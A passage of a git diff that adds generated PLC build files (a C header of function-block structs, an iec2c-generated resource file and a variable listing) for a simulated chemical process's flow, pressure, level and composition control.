__DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; 